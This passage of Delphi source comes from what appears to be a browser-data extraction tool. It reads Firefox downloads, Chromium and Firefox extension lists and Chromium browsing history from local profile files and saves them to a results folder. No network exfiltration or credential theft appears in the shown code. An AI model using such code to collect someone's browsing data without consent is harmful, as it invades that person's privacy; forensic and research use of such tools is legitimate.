248 | Query.SQL.Text := CLOSE_JOURNAL_MODE;
249 | Query.ExecSQL;
250 | Query.SQL.Text := QUERY_FIREFOX_DOWNLOAD;
251 | Query.Open;
252 |
253 | while not Query.Eof do
254 | begin
255 | var Content := Query.FieldByName('content').AsString;
256 | var ContentList := Content.Split([',{']);
257 |
258 | if Length(ContentList) > 1 then
259 | begin
260 | SetLength(Result, Length(Result) + 1);
261 | JSONObj := ParseJSONContent(Content);
262 |
263 | try
264 | with Result[High(Result)] do
265 | begin
266 | TargetPath := ContentList[0];
267 | URL := Query.FieldByName('url').AsString;
268 |
269 | // Handle start date
270 | var StartDateStr := Query.FieldByName('formatted_start_date').AsString;
271 |
272 | try
273 | FS := TFormatSettings.Create;
274 | FS.DateSeparator := '-';
275 | FS.TimeSeparator := ':';
276 | FS.ShortDateFormat := 'yyyy-mm-dd';
277 | FS.LongTimeFormat := 'hh:nn:ss';
278 | StartTime := StrToDateTime(StartDateStr, FS);
279 | except
280 | on E: Exception do
281 | begin
282 | WriteLn('Error parsing start date: ' + StartDateStr + ' - ' + E.Message);
283 | StartTime := 0;
284 | end;
285 | end;
286 |
287 | if Assigned(JSONObj) then
288 | begin
289 | TotalBytes := JSONObj.GetValue('fileSize');
290 |
291 | // Handle end time from JSON
292 | var EndTimeStamp := JSONObj.GetValue('endTime');
293 | if EndTimeStamp > 0 then
294 | begin
295 | var EndDateStr := FormatDateTime('yyyy-mm-dd hh:nn:ss',
296 | UnixToDateTime(EndTimeStamp div 1000));
297 | try
298 | EndTime := StrToDateTime(EndDateStr, FS);
299 | except
300 | on E: Exception do
301 | begin
302 | WriteLn('Error parsing end date: ' + EndDateStr + ' - ' + E.Message);
303 | EndTime := 0;
304 | end;
305 | end;
306 | end
307 | else
308 | EndTime := 0;
309 | end;
310 | end;
311 | finally
312 | JSONObj.Free;
313 | end;
314 | end;
315 | Query.Next;
316 | end;
317 |
318 | if Length(Result) > 0 then
319 | begin
320 | SortDownloadsBySize(Result);
321 | OutputDownloads(Result);
322 | end;
323 |
324 | finally
325 | Query.Free;
326 | FSQLiteConnection.Disconnect;
327 | end;
328 |
329 | finally
330 | if FileExists(TempDb) then
331 | TFile.Delete(TempDb);
332 | end;
333 | end;
334 |
335 | procedure TFirefoxDownloadHelper.SortDownloadsBySize(var Downloads: TDownloadItems);
336 | var
337 | i, j: Integer;
338 | temp: TDownloadItem;
339 | begin
340 | for i := Low(Downloads) to High(Downloads) - 1 do
341 | for j := i + 1 to High(Downloads) do
342 | if Downloads[i].TotalBytes < Downloads[j].TotalBytes then // Sort by size (largest first)
343 | begin
344 | temp := Downloads[i];
345 | Downloads[i] := Downloads[j];
346 | Downloads[j] := temp;
347 | end;
348 | end;
349 |
350 | function TFirefoxDownloadHelper.GetDownloadCount: Integer;
351 | var
352 | Query: TUniQuery;
353 | DownloadDb, TempDb: string;
354 | begin
355 | Result := 0;
356 | DownloadDb := TPath.Combine(FProfilePath, 'places.sqlite');
357 |
358 | if not FileExists(DownloadDb) then
359 | Exit;
360 |
361 | // Create temp copy of database
362 | TempDb := TPath.Combine(TPath.GetTempPath, Format('downloads_%s.sqlite', [TGUID.NewGuid.ToString]));
363 | try
364 | TFile.Copy(DownloadDb, TempDb);
365 | FSQLiteConnection.Database := TempDb;
366 |
367 | try
368 | FSQLiteConnection.Connect;
369 | Query := TUniQuery.Create(nil);
370 | try
371 | Query.Connection := FSQLiteConnection;
372 | Query.SQL.Text := QUERY_FIREFOX_DOWNLOAD;
373 | Query.Open;
374 | while not Query.Eof do
375 | begin
376 | var Content := Query.FieldByName('content').AsString;
377 | if Content.Contains(',{') then
378 | Inc(Result);
379 | Query.Next;
380 | end;
381 | finally
382 | Query.Free;
383 | end;
384 | finally
385 | FSQLiteConnection.Disconnect;
386 | end;
387 | finally
388 | if FileExists(TempDb) then
389 | TFile.Delete(TempDb);
390 | end;
391 | end;
392 |
393 | end.
394 |
--------------------------------------------------------------------------------
/src/browserdata/extension/ChromiumExtension.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumExtension;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.JSON,
10 | System.StrUtils;
11 |
12 | type
13 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
14 |
15 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
16 |
17 | TExtensionItem = record
18 | ID: string;
19 | URL: string;
20 | Enabled: Boolean;
21 | Name: string;
22 | Description: string;
23 | Version: string;
24 | HomepageURL: string;
25 | end;
26 |
27 | TExtensionItems = TArray;
28 |
29 | TChromiumExtensionHelper = class
30 | private
31 | FProfilePath: string;
32 | FOutputFormat: TOutputFormat;
33 | FBrowserKind: TBrowserKind;
34 |
35 | function GetProfileName: string;
36 | function GetBrowserPrefix: string;
37 | procedure EnsureResultsDirectory;
38 | procedure OutputHuman(const Extensions: TExtensionItems);
39 | procedure OutputJSON(const Extensions: TExtensionItems);
40 | procedure OutputCSV(const Extensions: TExtensionItems);
41 | procedure OutputExtensions(const Extensions: TExtensionItems);
42 | function GetExtensionObject(const JsonObj: TJSONObject; const Path: string)
43 | : TJSONObject;
44 | public
45 | constructor Create(const AProfilePath: string;
46 | ABrowserKind: TBrowserKind = bkChrome);
47 | destructor Destroy; override;
48 | function GetExtensions: TExtensionItems;
49 | function GetExtensionCount: Integer;
50 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
51 | end;
52 |
53 | implementation
54 |
55 | function TChromiumExtensionHelper.GetProfileName: string;
56 | var
57 | ProfileFolder: string;
58 | begin
59 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
60 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]);
61 | end;
62 |
63 | function TChromiumExtensionHelper.GetBrowserPrefix: string;
64 | begin
65 | case FBrowserKind of
66 | bkChrome:
67 | Result := 'chrome';
68 | bkBrave:
69 | Result := 'brave';
70 | bkEdge:
71 | Result := 'edge';
72 | end;
73 | end;
74 |
75 | function TChromiumExtensionHelper.GetExtensionObject(const JsonObj: TJSONObject;
76 | const Path: string): TJSONObject;
77 | var
78 | Parts: TArray;
79 | Current: TJSONObject;
80 | begin
81 | Result := nil;
82 | Parts := Path.Split(['.']);
83 | Current := JsonObj;
84 |
85 | for var Part in Parts do
86 | begin
87 | if not Assigned(Current) then
88 | Exit;
89 | var
90 | Value := Current.GetValue(Part);
91 | if not(Value is TJSONObject) then
92 | Exit;
93 | Current := Value as TJSONObject;
94 | end;
95 | Result := Current;
96 | end;
97 |
98 | function TChromiumExtensionHelper.GetExtensions: TExtensionItems;
99 | var
100 | PreferencesFile: string;
101 | JSONContent: TJSONObject;
102 | ExtObj: TJSONObject;
103 | begin
104 | SetLength(Result, 0);
105 | PreferencesFile := TPath.Combine(FProfilePath, 'Secure Preferences');
106 | if not FileExists(PreferencesFile) then
107 | Exit;
108 |
109 | try
110 | JSONContent := TJSONObject.ParseJSONValue(TFile.ReadAllText(PreferencesFile)
111 | ) as TJSONObject;
112 | if not Assigned(JSONContent) then
113 | Exit;
114 |
115 | try
116 | // Try different paths
117 | var
118 | SettingsPaths := TArray.Create('settings.extensions',
119 | 'settings.settings', 'extensions.settings');
120 |
121 | ExtObj := nil;
122 | for var Path in SettingsPaths do
123 | begin
124 | ExtObj := GetExtensionObject(JSONContent, Path);
125 | if Assigned(ExtObj) then
126 | Break;
127 | end;
128 |
129 | if not Assigned(ExtObj) then
130 | Exit;
131 |
132 | // Process extensions like in Go code
133 | for var Pair in ExtObj do
134 | begin
135 | var
136 | ExtData := TJSONObject(Pair.JsonValue);
137 | var
138 | ExtId := Pair.JsonString.Value;
139 |
140 | // Check location
141 | var
142 | Location: TJSONNumber;
143 | if ExtData.TryGetValue('location', Location) then
144 | begin
145 | if Location.AsInt in [5, 10] then
146 | Continue;
147 | end;
148 |
149 | // Check if disabled
150 | var
151 | Enabled := not Assigned(ExtData.GetValue('disable_reasons'));
152 |
153 | // Get manifest
154 | var
155 | Manifest: TJSONObject;
156 | if not ExtData.TryGetValue('manifest', Manifest) then
157 | begin
158 | SetLength(Result, Length(Result) + 1);
159 | with Result[High(Result)] do
160 | begin
161 | ID := ExtId;
162 | Enabled := Enabled;
163 | var
164 | PathValue := ExtData.GetValue('path');
165 | if Assigned(PathValue) then
166 | Name := PathValue.Value;
167 | end;
168 | Continue;
169 | end;
170 |
171 | SetLength(Result, Length(Result) + 1);
172 | with Result[High(Result)] do
173 | begin
174 | ID := ExtId;
175 |
176 | var
177 | UpdateURL := '';
178 | var
179 | UpdateValue := Manifest.GetValue('update_url');
180 | if Assigned(UpdateValue) then
181 | UpdateURL := UpdateValue.Value;
182 |
183 | if Pos('clients2.google.com/service/update2/crx', UpdateURL) > 0 then
184 | URL := 'https://Chromium.google.com/webstore/detail/' + ExtId
185 | else if Pos('edge.microsoft.com/extensionwebstorebase/v1/crx',
186 | UpdateURL) > 0 then
187 | URL := 'https://microsoftedge.microsoft.com/addons/detail/' + ExtId
188 | else
189 | URL := '';
190 |
191 | Enabled := Enabled;
192 |
193 | var
194 | Value := Manifest.GetValue('name');
195 | if Assigned(Value) then
196 | Name := Value.Value;
197 |
198 | Value := Manifest.GetValue('description');
199 | if Assigned(Value) then
200 | Description := Value.Value;
201 |
202 | Value := Manifest.GetValue('version');
203 | if Assigned(Value) then
204 | Version := Value.Value;
205 |
206 | Value := Manifest.GetValue('homepage_url');
207 | if Assigned(Value) then
208 | HomepageURL := Value.Value;
209 | end;
210 | end;
211 |
212 | if Length(Result) > 0 then
213 | OutputExtensions(Result);
214 |
215 | finally
216 | JSONContent.Free;
217 | end;
218 | except
219 | on E: Exception do
220 | WriteLn('Error reading extensions: ', E.Message);
221 | end;
222 | end;
223 |
224 | procedure TChromiumExtensionHelper.EnsureResultsDirectory;
225 | var
226 | ResultsDir: string;
227 | begin
228 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
229 | if not TDirectory.Exists(ResultsDir) then
230 | TDirectory.CreateDirectory(ResultsDir);
231 | end;
232 |
233 | procedure TChromiumExtensionHelper.OutputHuman(const Extensions: TExtensionItems);
234 | var
235 | OutputFile: TextFile;
236 | FileName, FilePath: string;
237 | begin
238 | EnsureResultsDirectory;
239 | FileName := Format('%s_%s_extensions.txt',
240 | [GetBrowserPrefix, GetProfileName]);
241 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
242 | AssignFile(OutputFile, FilePath);
243 | try
244 | Rewrite(OutputFile);
245 | for var Item in Extensions do
246 | begin
247 | WriteLn(OutputFile);
248 | WriteLn(OutputFile, 'ID: ', Item.ID);
249 | WriteLn(OutputFile, 'URL: ', Item.URL);
250 | WriteLn(OutputFile, 'Enabled: ', Item.Enabled);
251 | WriteLn(OutputFile, 'Name: ', Item.Name);
252 | WriteLn(OutputFile, 'Description: ', Item.Description);
253 | WriteLn(OutputFile, 'Version: ', Item.Version);
254 | WriteLn(OutputFile, 'Homepage: ', Item.HomepageURL);
255 | WriteLn(OutputFile, '----------------------------------------');
256 | end;
257 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper,
258 | FilePath]));
259 | finally
260 | CloseFile(OutputFile);
261 | end;
262 | end;
263 |
264 | procedure TChromiumExtensionHelper.OutputJSON(const Extensions: TExtensionItems);
265 | var
266 | JSONArray: TJSONArray;
267 | JSONObject: TJSONObject;
268 | FileName, FilePath, JsonString: string;
269 | begin
270 | EnsureResultsDirectory;
271 | JSONArray := TJSONArray.Create;
272 | try
273 | for var Item in Extensions do
274 | begin
275 | JSONObject := TJSONObject.Create;
276 | JSONObject.AddPair('id', TJSONString.Create(Item.ID));
277 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
278 | JSONObject.AddPair('enabled', TJSONBool.Create(Item.Enabled));
279 | JSONObject.AddPair('name', TJSONString.Create(Item.Name));
280 | JSONObject.AddPair('description', TJSONString.Create(Item.Description));
281 | JSONObject.AddPair('version', TJSONString.Create(Item.Version));
282 | JSONObject.AddPair('homepage', TJSONString.Create(Item.HomepageURL));
283 | JSONArray.AddElement(JSONObject);
284 | end;
285 |
286 | FileName := Format('%s_%s_extensions.json',
287 | [GetBrowserPrefix, GetProfileName]);
288 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'),
289 | FileName);
290 |
291 | // Convert JSON to string
292 | JsonString := JSONArray.Format(2);
293 |
294 | // Replace escaped forward slashes \/ with /
295 | JsonString := StringReplace(JsonString, '\/', '/', [rfReplaceAll]);
296 |
297 | // Save the modified JSON string
298 | TFile.WriteAllText(FilePath, JsonString);
299 |
300 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper,
301 | FilePath]));
302 | finally
303 | JSONArray.Free;
304 | end;
305 | end;
306 |
307 | procedure TChromiumExtensionHelper.OutputCSV(const Extensions: TExtensionItems);
308 | var
309 | OutputFile: TextFile;
310 | FileName, FilePath: string;
311 | begin
312 | EnsureResultsDirectory;
313 | FileName := Format('%s_%s_extensions.csv',
314 | [GetBrowserPrefix, GetProfileName]);
315 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
316 | AssignFile(OutputFile, FilePath);
317 | try
318 | Rewrite(OutputFile);
319 | WriteLn(OutputFile, 'ID,URL,Enabled,Name,Description,Version,HomepageURL');
320 |
321 | for var Item in Extensions do
322 | begin
323 | WriteLn(OutputFile, Format('%s,%s,%s,%s,%s,%s,%s', [Item.ID, Item.URL,
324 | LowerCase(BoolToStr(Item.Enabled, True)), Item.Name, Item.Description,
325 | Item.Version, Item.HomepageURL]));
326 | end;
327 |
328 | WriteLn(Format('[%s] Extensions saved to: %s', [GetBrowserPrefix.ToUpper,
329 | FilePath]));
330 | finally
331 | CloseFile(OutputFile);
332 | end;
333 | end;
334 |
335 | procedure TChromiumExtensionHelper.OutputExtensions(const Extensions
336 | : TExtensionItems);
337 | begin
338 | case FOutputFormat of
339 | ofHuman:
340 | OutputHuman(Extensions);
341 | ofJSON:
342 | OutputJSON(Extensions);
343 | ofCSV:
344 | OutputCSV(Extensions);
345 | end;
346 | end;
347 |
348 | function TChromiumExtensionHelper.GetExtensionCount: Integer;
349 | begin
350 | Result := Length(GetExtensions);
351 | end;
352 |
353 | constructor TChromiumExtensionHelper.Create(const AProfilePath: string;
354 | ABrowserKind: TBrowserKind = bkChrome);
355 | begin
356 | inherited Create;
357 | FProfilePath := AProfilePath;
358 | FBrowserKind := ABrowserKind;
359 | FOutputFormat := ofCSV;
360 | end;
361 |
362 | destructor TChromiumExtensionHelper.Destroy;
363 | begin
364 | inherited;
365 | end;
366 |
367 | end.
368 |
--------------------------------------------------------------------------------
/src/browserdata/extension/FirefoxExtension.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxExtension;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON;
13 |
14 | type
15 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
16 |
17 | TExtensionItem = record
18 | ID: string;
19 | Name: string;
20 | Description: string;
21 | Version: string;
22 | HomepageURL: string;
23 | Enabled: Boolean;
24 | end;
25 |
26 | TExtensionItems = TArray;
27 |
28 | TFirefoxExtensionHelper = class
29 | private
30 | FProfilePath: string;
31 | FOutputFormat: TOutputFormat;
32 |
33 | function GetProfileName: string;
34 | procedure EnsureResultsDirectory;
35 | procedure OutputHuman(const Extensions: TExtensionItems);
36 | procedure OutputJSON(const Extensions: TExtensionItems);
37 | procedure OutputCSV(const Extensions: TExtensionItems);
38 | procedure OutputExtensions(const Extensions: TExtensionItems);
39 | function ParseExtensionsJSON(const JSONContent: string): TExtensionItems;
40 | public
41 | constructor Create(const AProfilePath: string);
42 | destructor Destroy; override;
43 | function GetExtensions: TExtensionItems;
44 | function GetExtensionCount: Integer;
45 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
46 | end;
47 |
48 | implementation
49 |
50 | function TFirefoxExtensionHelper.GetProfileName: string;
51 | var
52 | ProfileFolder: string;
53 | begin
54 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
55 | Result := StringReplace(ProfileFolder, '.', '_', [rfReplaceAll]);
56 | end;
57 |
58 | procedure TFirefoxExtensionHelper.EnsureResultsDirectory;
59 | var
60 | ResultsDir: string;
61 | begin
62 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
63 | if not TDirectory.Exists(ResultsDir) then
64 | TDirectory.CreateDirectory(ResultsDir);
65 | end;
66 |
67 | procedure TFirefoxExtensionHelper.OutputHuman(const Extensions
68 | : TExtensionItems);
69 | var
70 | OutputFile: TextFile;
71 | FileName, FilePath: string;
72 | begin
73 | EnsureResultsDirectory;
74 | FileName := Format('firefox_%s_extensions.txt', [GetProfileName]);
75 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
76 | AssignFile(OutputFile, FilePath);
77 | try
78 | Rewrite(OutputFile);
79 | for var Item in Extensions do
80 | begin
81 | WriteLn(OutputFile);
82 | WriteLn(OutputFile, 'ID: ', Item.ID);
83 | WriteLn(OutputFile, 'Name: ', Item.Name);
84 | WriteLn(OutputFile, 'Description: ', Item.Description);
85 | WriteLn(OutputFile, 'Version: ', Item.Version);
86 | WriteLn(OutputFile, 'HomepageURL: ', Item.HomepageURL);
87 | WriteLn(OutputFile, 'Enabled: ', Item.Enabled.ToString(True));
88 | WriteLn(OutputFile, '----------------------------------------');
89 | end;
90 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath);
91 | finally
92 | CloseFile(OutputFile);
93 | end;
94 | end;
95 |
96 | procedure TFirefoxExtensionHelper.OutputJSON(const Extensions: TExtensionItems);
97 | var
98 | JSONArray: TJSONArray;
99 | JSONObject: TJSONObject;
100 | FileName, FilePath, JSONString: string;
101 | begin
102 | EnsureResultsDirectory;
103 | JSONArray := TJSONArray.Create;
104 | try
105 | for var Item in Extensions do
106 | begin
107 | JSONObject := TJSONObject.Create;
108 | JSONObject.AddPair('id', TJSONString.Create(Item.ID));
109 | JSONObject.AddPair('name', TJSONString.Create(Item.Name));
110 | JSONObject.AddPair('description', TJSONString.Create(Item.Description));
111 | JSONObject.AddPair('version', TJSONString.Create(Item.Version));
112 | JSONObject.AddPair('homepageURL', TJSONString.Create(Item.HomepageURL));
113 | JSONObject.AddPair('enabled', TJSONBool.Create(Item.Enabled));
114 | JSONArray.AddElement(JSONObject);
115 | end;
116 |
117 | FileName := Format('firefox_%s_extensions.json', [GetProfileName]);
118 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
119 |
120 | // Convert JSON to string
121 | JSONString := JSONArray.Format(2);
122 |
123 | // Replace escaped forward slashes \/ with /
124 | JSONString := StringReplace(JSONString, '\/', '/', [rfReplaceAll]);
125 |
126 | // Save the modified JSON string
127 | TFile.WriteAllText(FilePath, JSONString);
128 |
129 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath);
130 | finally
131 | JSONArray.Free;
132 | end;
133 | end;
134 |
135 | procedure TFirefoxExtensionHelper.OutputCSV(const Extensions: TExtensionItems);
136 | var
137 | OutputFile: TextFile;
138 | FileName, FilePath: string;
139 | begin
140 | EnsureResultsDirectory;
141 | FileName := Format('firefox_%s_extensions.csv', [GetProfileName]);
142 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
143 | AssignFile(OutputFile, FilePath);
144 | try
145 | Rewrite(OutputFile);
146 | WriteLn(OutputFile, 'ID,Name,Description,Version,HomepageURL,Enabled');
147 |
148 | for var Item in Extensions do
149 | begin
150 | WriteLn(OutputFile, Format('"%s","%s","%s","%s","%s","%s"',
151 | [StringReplace(Item.ID, '"', '""', [rfReplaceAll]),
152 | StringReplace(Item.Name, '"', '""', [rfReplaceAll]),
153 | StringReplace(Item.Description, '"', '""', [rfReplaceAll]),
154 | StringReplace(Item.Version, '"', '""', [rfReplaceAll]),
155 | StringReplace(Item.HomepageURL, '"', '""', [rfReplaceAll]),
156 | BoolToStr(Item.Enabled, True)]));
157 | end;
158 |
159 | WriteLn('[FIREFOX] Extensions saved to: ', FilePath);
160 | finally
161 | CloseFile(OutputFile);
162 | end;
163 | end;
164 |
165 | procedure TFirefoxExtensionHelper.OutputExtensions(const Extensions
166 | : TExtensionItems);
167 | begin
168 | case FOutputFormat of
169 | ofHuman:
170 | OutputHuman(Extensions);
171 | ofJSON:
172 | OutputJSON(Extensions);
173 | ofCSV:
174 | OutputCSV(Extensions);
175 | end;
176 | end;
177 |
178 | function TFirefoxExtensionHelper.ParseExtensionsJSON(const JSONContent: string)
179 | : TExtensionItems;
180 | var
181 | JSONObject: TJSONObject;
182 | AddonsArray: TJSONArray;
183 | Addon, DefaultLocale: TJSONObject;
184 | JSONValue: TJSONValue;
185 | Location: string;
186 | begin
187 | SetLength(Result, 0);
188 | try
189 | JSONObject := TJSONObject.ParseJSONValue(JSONContent) as TJSONObject;
190 | if not Assigned(JSONObject) then
191 | Exit;
192 |
193 | try
194 | // Check if 'addons' array exists and get it
195 | if not JSONObject.TryGetValue('addons', AddonsArray) then
196 | begin
197 | WriteLn('Warning: No addons array found in JSON');
198 | Exit;
199 | end;
200 |
201 | for var i := 0 to AddonsArray.Count - 1 do
202 | begin
203 | try
204 | if not(AddonsArray.Items[i] is TJSONObject) then
205 | Continue;
206 |
207 | Addon := AddonsArray.Items[i] as TJSONObject;
208 |
209 | // Get location first
210 | if not Addon.TryGetValue('location', Location) then
211 | Continue;
212 |
213 | // Skip system add-ons
214 | if Location <> 'app-profile' then
215 | Continue;
216 |
217 | // Get defaultLocale object
218 | if not Addon.TryGetValue('defaultLocale', DefaultLocale)
219 | then
220 | begin
221 | WriteLn('Warning: No defaultLocale found for addon');
222 | Continue;
223 | end;
224 |
225 | SetLength(Result, Length(Result) + 1);
226 | with Result[High(Result)] do
227 | begin
228 | // Get ID
229 | if Addon.TryGetValue('id', ID) = False then
230 | ID := '';
231 |
232 | // Get Name
233 | if DefaultLocale.TryGetValue('name', Name) = False then
234 | Name := '';
235 |
236 | // Get Description
237 | if DefaultLocale.TryGetValue('description', Description) = False
238 | then
239 | Description := '';
240 |
241 | // Get Version
242 | if Addon.TryGetValue('version', Version) = False then
243 | Version := '';
244 |
245 | // Get HomepageURL
246 | if DefaultLocale.TryGetValue('homepageURL', HomepageURL) = False
247 | then
248 | HomepageURL := '';
249 |
250 | // Get Enabled status
251 | if Addon.TryGetValue('active', JSONValue) then
252 | Enabled := StrToBoolDef(JSONValue.Value, False)
253 | else
254 | Enabled := False;
255 | end;
256 |
257 | except
258 | on E: Exception do
259 | begin
260 | WriteLn('Warning: Error processing extension: ', E.Message);
261 | Continue;
262 | end;
263 | end;
264 | end;
265 |
266 | finally
267 | JSONObject.Free;
268 | end;
269 |
270 | except
271 | on E: Exception do
272 | begin
273 | WriteLn('Error parsing extensions JSON: ', E.Message);
274 | SetLength(Result, 0);
275 | end;
276 | end;
277 | end;
278 |
279 | constructor TFirefoxExtensionHelper.Create(const AProfilePath: string);
280 | begin
281 | inherited Create;
282 | FProfilePath := AProfilePath;
283 | FOutputFormat := ofCSV; // Default to CSV
284 | end;
285 |
286 | destructor TFirefoxExtensionHelper.Destroy;
287 | begin
288 | inherited;
289 | end;
290 |
291 | function TFirefoxExtensionHelper.GetExtensions: TExtensionItems;
292 | var
293 | ExtensionsFile: string;
294 | JSONContent: string;
295 | begin
296 | SetLength(Result, 0);
297 | ExtensionsFile := TPath.Combine(FProfilePath, 'extensions.json');
298 |
299 | if not FileExists(ExtensionsFile) then
300 | Exit;
301 |
302 | try
303 | JSONContent := TFile.ReadAllText(ExtensionsFile);
304 | Result := ParseExtensionsJSON(JSONContent);
305 |
306 | if Length(Result) > 0 then
307 | OutputExtensions(Result);
308 | except
309 | on E: Exception do
310 | WriteLn('Error reading extensions: ', E.Message);
311 | end;
312 | end;
313 |
314 | function TFirefoxExtensionHelper.GetExtensionCount: Integer;
315 | var
316 | ExtensionsFile: string;
317 | JSONContent: string;
318 | JSONObject: TJSONObject;
319 | AddonsArray: TJSONArray;
320 | begin
321 | Result := 0;
322 | ExtensionsFile := TPath.Combine(FProfilePath, 'extensions.json');
323 |
324 | if not FileExists(ExtensionsFile) then
325 | Exit;
326 |
327 | try
328 | JSONContent := TFile.ReadAllText(ExtensionsFile);
329 | JSONObject := TJSONObject.ParseJSONValue(JSONContent) as TJSONObject;
330 | if Assigned(JSONObject) then
331 | try
332 | AddonsArray := JSONObject.GetValue('addons') as TJSONArray;
333 | if Assigned(AddonsArray) then
334 | Result := AddonsArray.Count;
335 | finally
336 | JSONObject.Free;
337 | end;
338 | except
339 | on E: Exception do
340 | WriteLn('Error getting extension count: ', E.Message);
341 | end;
342 | end;
343 |
344 | end.
345 |
--------------------------------------------------------------------------------
/src/browserdata/history/ChromiumHistory.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumHistory;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,
7 | System.Classes,
8 | System.IOUtils,
9 | System.Generics.Collections,
10 | System.Generics.Defaults,
11 | System.DateUtils,
12 | System.JSON,
13 | System.StrUtils,
14 | Uni,
15 | SQLiteUniProvider;
16 |
17 | type
18 | TBrowserKind = (bkChrome, bkBrave, bkEdge);
19 |
20 | TOutputFormat = (ofHuman, ofJSON, ofCSV);
21 |
22 | THistoryItem = record
23 | ID: Int64;
24 | Title: string;
25 | URL: string;
26 | VisitCount: Integer;
27 | LastVisitTime: TDateTime;
28 | end;
29 |
30 | THistoryItems = TArray;
31 |
32 | TChromiumHistoryHelper = class
33 | private
34 | FProfilePath: string;
35 | FOutputFormat: TOutputFormat;
36 | FBrowserKind: TBrowserKind;
37 | FSQLiteConnection: TUniConnection;
38 |
39 | const
40 | QUERY_Chromium_HISTORY = 'SELECT url, title, visit_count, ' +
41 | 'strftime(''%Y-%m-%d %H:%M:%S'', last_visit_time/1000000-11644473600, ''unixepoch'', ''localtime'') as formatted_visit_date '
42 | + 'FROM urls';
43 |
44 | CLOSE_JOURNAL_MODE = 'PRAGMA journal_mode=off';
45 |
46 | function GetProfileName: string;
47 | function GetBrowserPrefix: string;
48 | procedure EnsureResultsDirectory;
49 | procedure OutputHuman(const History: THistoryItems);
50 | procedure OutputJSON(const History: THistoryItems);
51 | procedure OutputCSV(const History: THistoryItems);
52 | procedure OutputHistory(const History: THistoryItems);
53 | function ChromiumTimeToDateTime(TimeStamp: Int64): TDateTime;
54 |
55 | public
56 | constructor Create(const AProfilePath: string;
57 | ABrowserKind: TBrowserKind = bkChrome);
58 | destructor Destroy; override;
59 | function GetHistory: THistoryItems;
60 | procedure SortHistoryByVisitCount(var History: THistoryItems);
61 | function GetHistoryCount: Integer;
62 | property OutputFormat: TOutputFormat read FOutputFormat write FOutputFormat;
63 | end;
64 |
65 | implementation
66 |
67 | function TChromiumHistoryHelper.GetProfileName: string;
68 | var
69 | ProfileFolder: string;
70 | begin
71 | ProfileFolder := ExtractFileName(ExcludeTrailingPathDelimiter(FProfilePath));
72 | Result := StringReplace(ProfileFolder, ' ', '_', [rfReplaceAll]);
73 | end;
74 |
75 | function TChromiumHistoryHelper.GetBrowserPrefix: string;
76 | begin
77 | case FBrowserKind of
78 | bkChrome:
79 | Result := 'chrome';
80 | bkBrave:
81 | Result := 'brave';
82 | bkEdge:
83 | Result := 'edge';
84 | end;
85 | end;
86 |
87 | function TChromiumHistoryHelper.ChromiumTimeToDateTime(TimeStamp: Int64)
88 | : TDateTime;
89 | const
90 | ChromiumTimeStart = 11644473600; // Seconds between 1601-01-01 and 1970-01-01
91 | begin
92 | Result := UnixToDateTime((TimeStamp div 1000000) - ChromiumTimeStart);
93 | end;
94 |
95 | procedure TChromiumHistoryHelper.EnsureResultsDirectory;
96 | var
97 | ResultsDir: string;
98 | begin
99 | ResultsDir := TPath.Combine(GetCurrentDir, 'results');
100 | if not TDirectory.Exists(ResultsDir) then
101 | TDirectory.CreateDirectory(ResultsDir);
102 | end;
103 |
104 | procedure TChromiumHistoryHelper.OutputHuman(const History: THistoryItems);
105 | var
106 | OutputFile: TextFile;
107 | FileName, FilePath: string;
108 | begin
109 | EnsureResultsDirectory;
110 | FileName := Format('%s_%s_history.txt', [GetBrowserPrefix, GetProfileName]);
111 | FilePath := TPath.Combine(TPath.Combine(GetCurrentDir, 'results'), FileName);
112 | AssignFile(OutputFile, FilePath);
113 | try
114 | Rewrite(OutputFile);
115 | for var Item in History do
116 | begin
117 | WriteLn(OutputFile);
118 | WriteLn(OutputFile, 'Title: ', Item.Title);
119 | WriteLn(OutputFile, 'URL: ', Item.URL);
120 | WriteLn(OutputFile, 'Visit Count: ', Item.VisitCount);
121 | WriteLn(OutputFile, 'Last Visit: ', FormatDateTime('yyyy-mm-dd hh:nn:ss',
122 | Item.LastVisitTime));
123 | WriteLn(OutputFile, '----------------------------------------');
124 | end;
125 | WriteLn(Format('[%s] History saved to: %s', [GetBrowserPrefix.ToUpper,
126 | FilePath]));
127 | finally
128 | CloseFile(OutputFile);
129 | end;
130 | end;
131 |
132 | procedure TChromiumHistoryHelper.OutputJSON(const History: THistoryItems);
133 | var
134 | JSONArray: TJSONArray;
135 | JSONObject: TJSONObject;
136 | FileName, FilePath, JSONString: string;
137 | begin
138 | EnsureResultsDirectory;
139 | JSONArray := TJSONArray.Create;
140 | try
141 | for var Item in History do
142 | begin
143 | JSONObject := TJSONObject.Create;
144 | JSONObject.AddPair('title', TJSONString.Create(Item.Title));
145 | JSONObject.AddPair('url', TJSONString.Create(Item.URL));
